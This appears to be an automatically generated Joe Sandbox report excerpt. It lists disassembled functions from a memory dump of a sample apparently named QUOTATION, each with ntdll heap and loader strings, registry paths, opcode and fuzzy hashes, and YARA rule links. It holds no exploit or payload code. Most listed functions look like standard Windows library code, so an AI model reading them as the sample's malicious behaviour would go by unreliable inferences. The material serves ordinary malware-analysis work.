Download Yara Rule

Strings

HEAP: , xrefs: 337214B6
HEAP[%wZ]: , xrefs: 33721632
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 33721648

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 64e3c2ac2744ba088045e7ecde130111bedd19fff3d9937fa6820107afc52acf
Instruction ID: 47a41942d451064a5cc3e2cc3c90b22d787754a3cb0785fae7c5d2bc35bc7382
Opcode Fuzzy Hash: 64e3c2ac2744ba088045e7ecde130111bedd19fff3d9937fa6820107afc52acf
Instruction Fuzzy Hash: 5AE1DD74A047459FEB18CF28C490B7ABBE6BF48350F188999E4D6CF246EB34E941DB50

Uniqueness

Uniqueness Score: -1.00%

Function 337A330C Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

DelegatedNtdll, xrefs: 337A334E
\SystemRoot\system32\, xrefs: 337A34C2
@, xrefs: 337A351F

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: 2e2b7f2e121457bfa63ba5f80ca943b3206d5bf730d8e02dfcc39f4566bb92b7
Instruction ID: 213f787e968b34ff9468fd01446168f4189c03640a9ca79b0e3f085dc533f063
Opcode Fuzzy Hash: 2e2b7f2e121457bfa63ba5f80ca943b3206d5bf730d8e02dfcc39f4566bb92b7
Instruction Fuzzy Hash: 1CB19EB1A05701AFF311DF58C884B6BB7E9AB48754F440A29FE909F740DB75E848CB92

Uniqueness

Uniqueness Score: -1.00%

Function 3371A147 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

UseFilter, xrefs: 3371A171
FilterFullPath, xrefs: 3377C075
\??\, xrefs: 3377BF73

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: c0fddbe17234bc73bf6ed4433b77c4221c7fc88df4a39b1cb3f66e0e89140cf0
Instruction ID: ca87e05a40f859b29125d488da013cb40fb0273d2222063ae2b3b2bfd37e81a4
Opcode Fuzzy Hash: c0fddbe17234bc73bf6ed4433b77c4221c7fc88df4a39b1cb3f66e0e89140cf0
Instruction Fuzzy Hash: 48A17F76D016299BDF61DF24CC98BAAB3B8EF08714F1005E9E908EB250D7359E85DF50

Uniqueness

Uniqueness Score: -1.00%

Function 337A7090 Relevance: 4.0, Strings: 3, Instructions: 233COMMON

Download Yara Rule

Strings

VirtualAlloc, xrefs: 337A727C
Objects=%4u, xrefs: 337A726A
Objects>%4u, xrefs: 337A7255

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: Objects=%4u$Objects>%4u$VirtualAlloc
API String ID: 0-3870751728
Opcode ID: 35fb96dc3ed03df0bb3a8e95aa5c9024731c41ca4937fa05a9e75a8e13716922
Instruction ID: d81ac08c933f2a1edd19ff1b120e5ac20f85e0f0ab05eb19e7fd2f68fc60a559
Opcode Fuzzy Hash: 35fb96dc3ed03df0bb3a8e95aa5c9024731c41ca4937fa05a9e75a8e13716922
Instruction Fuzzy Hash: 139119B4E007459FEB14CFA9C884BDDBBF1BF88314F14826AE904AB791E77598428F54

Uniqueness

Uniqueness Score: -1.00%

Function 337FB2BC Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

TargetNtPath, xrefs: 337FB3AF
GlobalizationUserSettings, xrefs: 337FB3B4
\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 337FB3AA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: d95a84efd3f5a88917c24b6530f7cf049f436df2b1dc926ca5237577fa5aba16
Instruction ID: c1a7b444ecdb0a0336e306af4ca748524e45c2068137e23e695c2ac60e33138f
Opcode Fuzzy Hash: d95a84efd3f5a88917c24b6530f7cf049f436df2b1dc926ca5237577fa5aba16
Instruction Fuzzy Hash: 76618D72D41229ABDB21DF54DC8CBAAB7B9FB08750F4101E9A508AB350CB75DE84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 3371F75B Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 3377E455
HEAP: , xrefs: 3377E442
HEAP[%wZ]: , xrefs: 3377E435

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: c70e8dfe6866ef6489b25da5bc964b5f46895a8d2e08e4b511e315723740e5a9
Instruction ID: 21d5232c1c325edbb2ba60999bb1d751ef667a9aba29253bbc5148d47e290bc0
Opcode Fuzzy Hash: c70e8dfe6866ef6489b25da5bc964b5f46895a8d2e08e4b511e315723740e5a9
Instruction Fuzzy Hash: 4B511636A10784AFE712CB64C898F5ABBF9EF05354F0842A5E5808FAA2D774E911DB50

Uniqueness

Uniqueness Score: -1.00%

Function 33741514 Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

Could not validate the crypto signature for DLL %wZ, xrefs: 3378A396
minkernel\ntdll\ldrmap.c, xrefs: 3378A3A7
LdrpCompleteMapModule, xrefs: 3378A39D

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 63b41aeb559e8af347eb8ca78ffe1cf8a91d4763abc1a34dfca32770301ae900
Instruction ID: 24295dc19ec35ab4d14aa60344218fda2f14068d7968aab8fd5b0f68e6f828d6
Opcode Fuzzy Hash: 63b41aeb559e8af347eb8ca78ffe1cf8a91d4763abc1a34dfca32770301ae900
Instruction Fuzzy Hash: 22512574A00741DBFB11DB69C945B4AB7F6EB05750F1806A4E8A19FBD2DB74F900CB40

Uniqueness

Uniqueness Score: -1.00%

Function 337CD62C Relevance: 3.9, Strings: 3, Instructions: 163COMMON

Download Yara Rule

Strings

Heap block at %p modified at %p past requested size of %Ix, xrefs: 337CD7B2
HEAP: , xrefs: 337CD79F
HEAP[%wZ]: , xrefs: 337CD792

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: 716879bea26244d6f4f7ae353d7a85afbd89623cfb12d13c501bbe680239844f
Instruction ID: ab44317edd65f87c1d66e4608a2a3f1c80b3e89bac2ffe65ad664405c89f59bf
Opcode Fuzzy Hash: 716879bea26244d6f4f7ae353d7a85afbd89623cfb12d13c501bbe680239844f
Instruction Fuzzy Hash: 3951DF795007908EE360EA29C844772B3E2DB89384F55488EE4D98F685EB76D847EB60

Uniqueness

Uniqueness Score: -1.00%

Function 3371753F Relevance: 3.9, Strings: 3, Instructions: 132COMMON

Download Yara Rule

Strings

Invalid address specified to %s( %p, %p ), xrefs: 3377AD5A
HEAP: , xrefs: 3377AD47
HEAP[%wZ]: , xrefs: 3377AD3A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 0-1151232445
Opcode ID: d50ec455dc188ec61a34feee8ce675a970c58df4cc175379b2d7397f1e0def17
Instruction ID: 0abbf1f88cbd383e453d551a6ed676ed6ea4964e79a800ac3fac594857844689
Opcode Fuzzy Hash: d50ec455dc188ec61a34feee8ce675a970c58df4cc175379b2d7397f1e0def17
Instruction Fuzzy Hash: FE41687AA00380CFFF54CA28C4847B577E69F09344F6848A9E4859F65ACB76D896CB21

Uniqueness

Uniqueness Score: -1.00%

Function 3372A1E3 Relevance: 3.9, Strings: 3, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Enter, xrefs: 3372A21B
@So3, xrefs: 3372A268
RtlpResUltimateFallbackInfo Exit, xrefs: 3372A229

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @So3$RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-3279367672
Opcode ID: f111fb17efc283cb740e0f40e086dce6c9f7436658521858cd437cbc1648733d
Instruction ID: f7bcbcfff73fa9b0d5f8234d23ab0be60965d6eedb11087628f7f564b70ab047
Opcode Fuzzy Hash: f111fb17efc283cb740e0f40e086dce6c9f7436658521858cd437cbc1648733d
Instruction Fuzzy Hash: 6E41CA78A00744DFEB01CFA9C845B5ABBFAEF85750F1840A5E840EF2A1EB36D901CB10

Uniqueness

Uniqueness Score: -1.00%

Function 337AB214 Relevance: 3.9, Strings: 3, Instructions: 107COMMON

Download Yara Rule

Strings

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 337AB2B2
GlobalFlag, xrefs: 337AB30F
@, xrefs: 337AB2F0

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: 412dac64da08680160e7810589c7b52e187e41359f413927358f70da31609c10
Instruction ID: 914d01163818d70593d4969996c7ed411603966a2987837f27b4dae1928fc84d
Opcode Fuzzy Hash: 412dac64da08680160e7810589c7b52e187e41359f413927358f70da31609c10
Instruction Fuzzy Hash: A7314FB1D01209AEDB10DF98DC98AEEBBBDEF48744F440569EA05EB241D7749A44CB90

Uniqueness

Uniqueness Score: -1.00%

Function 33751527 Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrtls.c, xrefs: 3379185B
LdrpInitializeTls, xrefs: 33791851
DLL "%wZ" has TLS information at %p, xrefs: 3379184A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
API String ID: 0-931879808
Opcode ID: 13de75769e0531f053a542de62fff0044a277bc88bdb82d83b3acda7bff09a1f
Instruction ID: 3de53439fc21b859495aad06722f752d4c6413dfceb80dd3b97e242a22f2570e
Opcode Fuzzy Hash: 13de75769e0531f053a542de62fff0044a277bc88bdb82d83b3acda7bff09a1f
Instruction Fuzzy Hash: 4D31F471E11700EBFB149F94CC85F9A77A9BB48395F110169F402BF780EBB4AD499BA0

Uniqueness

Uniqueness Score: -1.00%

Function 337351C0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 33735365
@, xrefs: 337354C3

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 4af6c2de7a174fcc5fd9d83ac8fea422800b2ddf00ca73c73377519f2ddd7469
Instruction ID: 2c097d8294865373a046edd013374e41ac8b371bbf3a633449951f848c164eaa
Opcode Fuzzy Hash: 4af6c2de7a174fcc5fd9d83ac8fea422800b2ddf00ca73c73377519f2ddd7469
Instruction Fuzzy Hash: AC32F0B45093518FD721CF18C480B6EB7E6EF8A7A4F54491EF9858F291EB34D840DB92

Uniqueness

Uniqueness Score: -1.00%

Function 33725622 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 33725698
RtlDebugPrintTimes.NTDLL ref: 3378061D

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 33f8e54a83d1e71365db72bf60eae8f597b5279d800f021382c0597156e220af
Instruction ID: 64989a48f4f2eac5be40d44b8529b2b8a0e30c9267840fc23d522991f2747b2a
Opcode Fuzzy Hash: 33f8e54a83d1e71365db72bf60eae8f597b5279d800f021382c0597156e220af
Instruction Fuzzy Hash: 03319C35701B02BFE7569F64CA44B8AFBAABF44BA4F044125E9409FE50DB74E821DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 337A9567 Relevance: 3.1, APIs: 2, Instructions: 62timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 337A9598
RtlDebugPrintTimes.NTDLL ref: 337A95D6

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 9227076e50cf6afe4b2167dc6f200f3af4b9d90cba07d3da8a4db3377bb0b922
Instruction ID: 347770997f4a66873d16f1b28da51099392703c9d87f952eabbaaf66b78cfe59
Opcode Fuzzy Hash: 9227076e50cf6afe4b2167dc6f200f3af4b9d90cba07d3da8a4db3377bb0b922
Instruction Fuzzy Hash: 4C113A72F04219ABEB059B5CC985B5EB7FDEB89260F10027AE405EB340DB70DD01DB80

Uniqueness

Uniqueness Score: -1.00%

Function 337A174B Relevance: 2.8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

AddD, xrefs: 337A18CD
@, xrefs: 337A1877

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$AddD
API String ID: 0-2525844869
Opcode ID: 51b8b49756ba95688a3c18a7703f95beb47b49348528c8c6e96bd9c72e7df165
Instruction ID: f455f4193b2183faef2b7b615c95252e62cc5a91bf97fbd7a2f8ce855a9cf107
Opcode Fuzzy Hash: 51b8b49756ba95688a3c18a7703f95beb47b49348528c8c6e96bd9c72e7df165
Instruction Fuzzy Hash: DFA17CB6508340AFE314CB18C884FABB7EDFB84744F544B2EF9958A250E770E905CB62

Uniqueness

Uniqueness Score: -1.00%

Function 3379E372 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 3379E3DA
UEFI, xrefs: 3379E3D1

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 89c6d975df9262c25ee1a05e03a7a6ee9e6a7e9067b9ffafd3650fc8021bbf86
Instruction ID: 8a616ad463030258d6636a12859c877af35aec08f56131e12f3367eb24fb96fc
Opcode Fuzzy Hash: 89c6d975df9262c25ee1a05e03a7a6ee9e6a7e9067b9ffafd3650fc8021bbf86
Instruction Fuzzy Hash: 2E614AB1E107089FEB15CFA8D840EADB7B9BB48740F54412EE549EFA61EB31D900CB50

Uniqueness

Uniqueness Score: -1.00%

Function 337FB55F Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\, xrefs: 337FB5C4
RedirectedKey, xrefs: 337FB60E

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: RedirectedKey$\Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\
API String ID: 0-1388552009
Opcode ID: ad09f51fd9f512600cf039c7fec72134642424c26bbc40ef7a56d7e957cd598a
Instruction ID: 528bca76836c6671fdd6c88b722f8718688148afe5caeedd4afa897182e3564a
Opcode Fuzzy Hash: ad09f51fd9f512600cf039c7fec72134642424c26bbc40ef7a56d7e957cd598a
Instruction Fuzzy Hash: ED61E3B6C01219EFDB11DF94C888ADEBBB9FB08750F54406AF805AB340DB359A45DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 3373F640 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 3373F716
$, xrefs: 3373F780

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: 02b58d72c7b3e9246422bee8212c2bfdeb8e754b85356382a8cf75a228b74229
Instruction ID: 38f46a27f9516e2c590657b9f9e342cdc9636caf492703ce951c0c4d148c7284
Opcode Fuzzy Hash: 02b58d72c7b3e9246422bee8212c2bfdeb8e754b85356382a8cf75a228b74229
Instruction Fuzzy Hash: 8E61CBB5E02749CFEB20CFA4C588B99B7F2FB05364F444169D515AFA82CB74A942DB80

Uniqueness

Uniqueness Score: -1.00%

Function 337B314A Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Enter, xrefs: 337B317C
LdrResGetRCConfig Exit, xrefs: 337B318E

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: 99c6638c86c1e5a48ba144ef0410e0cc1e3b7530458f8458e077bc2fe916c60e
Instruction ID: aaa93283a4571e7f0508c6439920a884f425ce23ae9ae978d9b0129d12e0c56e
Opcode Fuzzy Hash: 99c6638c86c1e5a48ba144ef0410e0cc1e3b7530458f8458e077bc2fe916c60e
Instruction Fuzzy Hash: C231DA75209B409BE711CF68D854B2AB7F9EF89714F080869F894CF380EBB5D945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 337206CF Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

q3, xrefs: 33720739
q3, xrefs: 33720733

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: q3$ q3
API String ID: 0-1247005363
Opcode ID: 49a786c33513ac971e06107f3f12b951fabc9744f78dece475671d893ac2e863
Instruction ID: 07ecd4a67f8f09e0e6f1f9afde533bf05f7c50f6c92dcde5a572688fe85a5cbe
Opcode Fuzzy Hash: 49a786c33513ac971e06107f3f12b951fabc9744f78dece475671d893ac2e863
Instruction Fuzzy Hash: AD31E236A04B019FDB12CE248884E5B7BAAAF842A0F05452CFC55DF720EB34DC159FB1

Uniqueness

Uniqueness Score: -1.00%

Function 337531BE Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

@, xrefs: 3375322D
.Local\, xrefs: 337531D5

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: d50e62f16e229c7f19b2b84924a4b95e09dd8b2849ee60d2ec6269fd25c96777
Instruction ID: 293a419ec74d7a7bfbcd57cbd2b032e3635f0c71353c104540bd03579682af26
Opcode Fuzzy Hash: d50e62f16e229c7f19b2b84924a4b95e09dd8b2849ee60d2ec6269fd25c96777
Instruction Fuzzy Hash: D8319275909701AFF311CF28C884B5BBBE8EB85654F04052EF9949B260D734DD049BD2

Uniqueness

Uniqueness Score: -1.00%

Function 337533D0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 3379289F
RtlpInitializeAssemblyStorageMap, xrefs: 3379289A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: 8518c68664ca9ae3bd81f866a2cee45a9f317fb3d11d84b03cb233bbb3e27b95
Instruction ID: e8c5482011ac46c081dd2f4bc7f51922e698369e4de4e94856ae5d4ca29b24a1
Opcode Fuzzy Hash: 8518c68664ca9ae3bd81f866a2cee45a9f317fb3d11d84b03cb233bbb3e27b95
Instruction Fuzzy Hash: FA112576F01308BBF7198A48DD44FAB76E9DB88750F248169B904EF254DA74DD0196E0

Uniqueness

Uniqueness Score: -1.00%

Function 3372C6E0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 3372C7E3, 3372C960

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 5f17b94ff7081521ad1c08727b36bc9dce98f963915c4c7fc24b009ffe0aaada
Instruction ID: 138868fd1ac69a15b70044af01cd588959b30d346d112bf1c468182582ebd668
Opcode Fuzzy Hash: 5f17b94ff7081521ad1c08727b36bc9dce98f963915c4c7fc24b009ffe0aaada
